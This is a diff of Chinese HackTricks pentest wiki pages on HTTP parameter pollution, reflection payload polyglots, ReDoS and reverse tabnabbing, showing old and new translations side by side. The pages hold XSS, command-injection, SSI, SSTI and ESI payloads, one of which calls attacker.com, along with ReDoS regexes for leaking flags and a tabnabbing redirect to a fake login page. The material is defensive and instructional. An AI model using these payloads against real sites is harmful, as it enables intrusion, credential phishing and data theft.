- **PHPApache HTTP服务器上** 相反,优先考虑最后一个参数值,在给定示例中选择`a=2`。这种行为可能会无意中促成HPP攻击通过优先考虑攻击者操纵的参数而不是原始参数 - **PHP Apache HTTP 服务器上):** 相反,优先考虑最后一个参数值,在给定示例中选择 `a=2`。这种行为可能无意中通过优先考虑攻击者操纵的参数而促进 HPP 利用
## 参考资料 ## 参考文献
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654) * [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution) * [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
@ -75,16 +76,17 @@ Web技术处理重复HTTP参数的方式不同影响它们对HPP攻击的易
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,27 +1,28 @@
# 反射技术 - PoCs 和 Polygloths 速查表 # 反射技术 - PoCs 和 Polygloths 备忘单
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们。
- 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
</details> </details>
{% endhint %}
这些 PoCs 和 Polygloths 的目标是为测试人员提供一个快速的**漏洞摘要**,以便他可以利用**如果他的输入在响应中被反射** 这些 PoCs 和 Polygloths 的目标是为测试人员提供一个快速的 **摘要**,以便他可以利用的漏洞,如果他的 **输入以某种方式反射在响应中**
{% hint style="warning" %} {% hint style="warning" %}
这个**速查表并不提供每个漏洞的全面测试列表**,只是一些基本的测试。如果您正在寻找更全面的测试,请访问每个提出的漏洞。 **备忘单并未提供每个漏洞的全面测试列表**,仅提供一些基本的测试。如果您正在寻找更全面的测试,请访问每个提议的漏洞。
{% endhint %} {% endhint %}
{% hint style="danger" %} {% hint style="danger" %}
您**不会找到像 XXE 这样依赖于 Content-Type 的注入**,因为通常如果您发现一个发送 xml 数据的请求,您会自己尝试这些。这里**也不会找到数据库注入**,因为即使一些内容可能被反射,它在很大程度上取决于后端数据库技术和结构。 **不会找到依赖于 Content-Type 的注入,如 XXE**,因为通常如果您发现发送 xml 数据的请求,您会自己尝试这些。**也不会在这里找到数据库注入**,因为即使某些内容可能被反射,它也严重依赖于后端数据库技术和结构。
{% endhint %} {% endhint %}
## Polygloths 列表 ## Polygloths 列表
@ -71,7 +72,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
{{7*7}} {{7*7}}
[7*7] [7*7]
``` ```
### 多语言支持 ### 多语言程序
```bash ```bash
{{7*7}}[7*7] {{7*7}}[7*7]
``` ```
@ -88,7 +89,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
`ls` `ls`
$(ls) $(ls)
``` ```
### 多语言支持 ### 多语言程序
```bash ```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
@ -150,13 +151,13 @@ javascript:alert(1)
<esi:include src=http://attacker.com/> <esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>> x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
``` ```
### 多语言支持 ### 多语言程序
```markup ```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>> <!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
``` ```
## [服务器端请求伪造](../ssrf-server-side-request-forgery/) ## [服务器端请求伪造](../ssrf-server-side-request-forgery/)
可以在此处使用用于开放重定向的相同测试。 用于开放重定向的相同测试可以在这里使用
## [服务器端模板注入](../ssti-server-side-template-injection/) ## [服务器端模板注入](../ssti-server-side-template-injection/)
@ -169,18 +170,18 @@ ${7*7}
${{7*7}} ${{7*7}}
#{7*7} #{7*7}
``` ```
### 多语言支持 ### 多语言程序
```python ```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\ {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
``` ```
## [XSLT服务器端注入](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) ## [XSLT 服务器端注入](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### 基本测试 ### 基本测试
```markup ```markup
<xsl:value-of select="system-property('xsl:version')" /> <xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include> <esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
``` ```
### 多语言技术 ### 多语言程序
```markup ```markup
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include> <xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
``` ```
@ -192,7 +193,7 @@ ${{7*7}}
'"><img src=x onerror=alert(1) /> '"><img src=x onerror=alert(1) />
javascript:alert() javascript:alert()
``` ```
### 多语言支持 ### 多语言程序
```markup ```markup
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//> javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``> -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
@ -220,16 +221,17 @@ javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'> javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//> javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,53 +1,54 @@
# 正则表达式拒绝服务 - ReDoS # 正则表达式拒绝服务 - ReDoS
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# 正则表达式拒绝服务ReDoS # 正则表达式拒绝服务 (ReDoS)
**正则表达式拒绝服务ReDoS**发生在有人利用正则表达式(一种在文本中搜索和匹配模式的方法)工作方式的弱点时。有时,当使用正则表达式时,它们可能变得非常缓慢,特别是当它们处理的文本片段变大时。这种缓慢可能会变得非常严重,即使文本大小略微增加,速度也会快速增长。攻击者可以利用这个问题使使用正则表达式的程序长时间停止正常工作。 **正则表达式拒绝服务 (ReDoS)** 是指有人利用正则表达式(用于搜索和匹配文本中的模式的一种方式)工作中的弱点。有时,当使用正则表达式时,它们可能会变得非常慢,尤其是当它们处理的文本变得更大时。这种缓慢可能会变得非常严重,甚至在文本大小稍微增加时就会迅速增长。攻击者可以利用这个问题使使用正则表达式的程序长时间无法正常工作。
## 问题的正则表达式天真算法 ## 问题的正则表达式天真算法
**查看详情:[https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)** **查看详细信息 [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
## 恶意正则表达式 <a href="#evil-regexes" id="evil-regexes"></a> ## 恶意正则表达式 <a href="#evil-regexes" id="evil-regexes"></a>
恶意正则表达式模式是那些可能**在精心制作的输入上卡住导致DoS**的模式。恶意的正则表达式模式通常包含重复的分组和重复或在重复组内部重叠的交替。一些恶意模式的示例包括: 恶意正则表达式模式是指那些**在特制输入上卡住导致拒绝服务**的模式。恶意正则表达式模式通常包含重复的分组和重复或交替的重叠在重复组内。一些恶意模式的示例包括:
* (a+)+ * (a+)+
* ([a-zA-Z]+)* * ([a-zA-Z]+)*
* (a|aa)+ * (a|aa)+
* (a|a?)+ * (a|a?)+
* (.*a){x},其中 x > 10 * (.*a){x} for x > 10
所有这些都对输入`aaaaaaaaaaaaaaaaaaaaaaaa!`易受攻击。 所有这些都对输入 `aaaaaaaaaaaaaaaaaaaaaaaa!` 易受攻击。
## ReDoS有效载荷 ## ReDoS 有效载荷
### 通过ReDoS进行字符串外泄 ### 通过 ReDoS 字符串外泄
CTF或漏洞赏金也许您**控制了与敏感信息(标志)匹配的正则表达式**。然后,如果**正则表达式匹配**,而**不匹配**时**页面冻结(超时或更长的处理时间)**可能会很有用。这样,您将能够**逐个字符地外泄**字符串: CTF或漏洞赏金也许你**控制了与敏感信息(标志)匹配的正则表达式**。然后,如果正则表达式**匹配**,使**页面冻结(超时或更长处理时间)**可能会很有用,而**如果没有匹配则不冻结**。这样你就可以**逐字符外泄**字符串:
* 在[**这篇文章**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)中您可以找到这个ReDoS规则`^(?=<flag>)((.*)*)*salt$` * 在 [**这篇文章**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) 中你可以找到这个 ReDoS 规则:`^(?=<flag>)((.*)*)*salt$`
* 示例:`^(?=HTB{sOmE_fl§N§)((.*)*)*salt$` * 示例:`^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* 在[**这篇解题报告**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)中,您可以找到这个:`<flag>(((((((.*)*)*)*)*)*)*)!` * 在 [**这篇写作**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) 中你可以找到这个:`<flag>(((((((.*)*)*)*)*)*)*)!`
* 在[**这篇解题报告**](https://ctftime.org/writeup/25869)中,他使用了:`^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$` * 在 [**这篇写作**](https://ctftime.org/writeup/25869) 中他使用了:`^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### ReDoS控制输入和正则表达式 ### ReDoS 控制输入和正则表达式
以下是您**控制**输入和**正则表达式**的**ReDoS**示例 以下是**ReDoS**示例,其中你**控制**输入和**正则表达式**
```javascript ```javascript
function check_time_regexp(regexp, text){ function check_time_regexp(regexp, text){
var t0 = new Date().getTime();; var t0 = new Date().getTime();;
@ -82,22 +83,23 @@ Regexp (a+)*$ took 723 milliseconds.
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit) * [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker) * [https://devina.io/redos-checker](https://devina.io/redos-checker)
## 参考资料 ## 参考
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) * [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) * [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) * [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869) * [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,36 +1,37 @@
{% hint style="success" %}
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# 描述 # 描述
一个**攻击者**可以**控制**一个将被受害者点击的带有属性**`target="_blank" rel="opener"`**的**`<a`**标签的**`href`**参数的情况下**攻击者**可以将这个**链接**指向一个由他控制的网站一个**恶意****网站**然后一旦**受害者点击**链接并访问攻击者的网站这个**恶意****网站**将能够通过javascript对象**`window.opener`****控制****原始****页面**\ **攻击者**可以**控制**即将被受害者点击的带有属性**`target="_blank" rel="opener"`**的**`<a`**标签的**`href`**参数的情况下**攻击者**将此**链接**指向一个他控制的网页一个**恶意** **网站**然后一旦**受害者点击**链接并访问攻击者的网站这个**恶意** **网站**将能够通过javascript对象**`window.opener`****控制****原始** **页面**\
如果页面没有**`rel="opener"`**但包含`target="_blank"`,并且也没有`rel="noopener"`,它也可能存在漏洞 如果页面没有**`rel="opener"`但包含`target="_blank"`且也没有`rel="noopener"`**,它也可能是脆弱的
滥用这种行为的常见方式是通过`window.opener.location = https://attacker.com/victim.html`来**更改原始网页的位置**,将其指向攻击者控制的看起来**像原始网站**的网站,以便**模仿**原始网站的**登录表单**并向用户索要凭据。 滥用这种行为的常规方法是通过`window.opener.location = https://attacker.com/victim.html`将**原始网页**的位置更改为一个由攻击者控制的**看起来像原始网页**的网页,以便它可以**模仿**原始网站的**登录** **表单**并向用户请求凭据。
然而,请注意,由于**攻击者现在可以控制原始网站的窗口对象**,他可以以其他方式滥用它来执行**更隐蔽的攻击**也许修改javascript事件以将信息传输到由他控制的服务器?) 然而,请注意,由于**攻击者现在可以控制原始网站的窗口对象**,他可以以其他方式滥用它来执行**更隐蔽的攻击**也许修改javascript事件以将信息外泄到他控制的服务器?)
# 概述 # 概述
## 带有后向链接 ## 有返回链接
当未使用预防属性时,父页面和子页面之间的链接: 当未使用预防属性时,父页面和子页面之间的链接:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png) ![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
## 没有后向链接 ## 无返回链接
当使用预防属性时,父页面和子页面之间的链接: 当使用预防属性时,父页面和子页面之间的链接:
@ -38,8 +39,8 @@
## 示例 <a href="#examples" id="examples"></a> ## 示例 <a href="#examples" id="examples"></a>
在一个文件夹中创建以下页面并使用`python3 -m http.server`运行一个web服务器\ 在一个文件夹中创建以下页面并运行一个web服务器使用`python3 -m http.server`\
然后,**访问**`http://127.0.0.1:8000/`vulnerable.html**点击**链接,注意**原始网站URL**的**变化** 然后,**访问** `http://127.0.0.1:8000/`vulnerable.html**点击**链接并注意**原始** **网站** **URL** **的变化**
{% code title="vulnerable.html" %} {% code title="vulnerable.html" %}
```markup ```markup
@ -79,39 +80,37 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
## 可访问的属性 <a href="#accessible-properties" id="accessible-properties"></a> ## 可访问的属性 <a href="#accessible-properties" id="accessible-properties"></a>
在发生**跨域**访问(跨不同域)的情况下,恶意站点可以访问由**opener** JavaScript对象引用指向的**window** JavaScript类实例的属性仅限于以下内容: 在发生**跨源**访问的情况下(跨不同域的访问),恶意网站可以访问的**window** JavaScript 类实例的属性仅限于以下内容:
- **`opener.closed`**通过访问此属性,可以确定窗口是否已关闭,并返回一个布尔值。 - **`opener.closed`**此属性用于确定窗口是否已关闭,返回布尔值。
- **`opener.frames`**此属性提供对当前窗口内所有iframe元素的访问权限 - **`opener.frames`**:此属性提供对当前窗口内所有 iframe 元素的访问。
- **`opener.length`**此属性返回当前窗口中存在的iframe元素的数量。 - **`opener.length`**:此属性返回当前窗口中存在的 iframe 元素的数量。
- **`opener.opener`**:通过此属性可以获取打开当前窗口的窗口的引用。 - **`opener.opener`**可以通过此属性获取打开当前窗口的窗口的引用。
- **`opener.parent`**:此属性返回当前窗口的父窗口。 - **`opener.parent`**:此属性返回当前窗口的父窗口。
- **`opener.self`**:此属性提供对当前窗口本身的访问权限 - **`opener.self`**:此属性提供对当前窗口本身的访问。
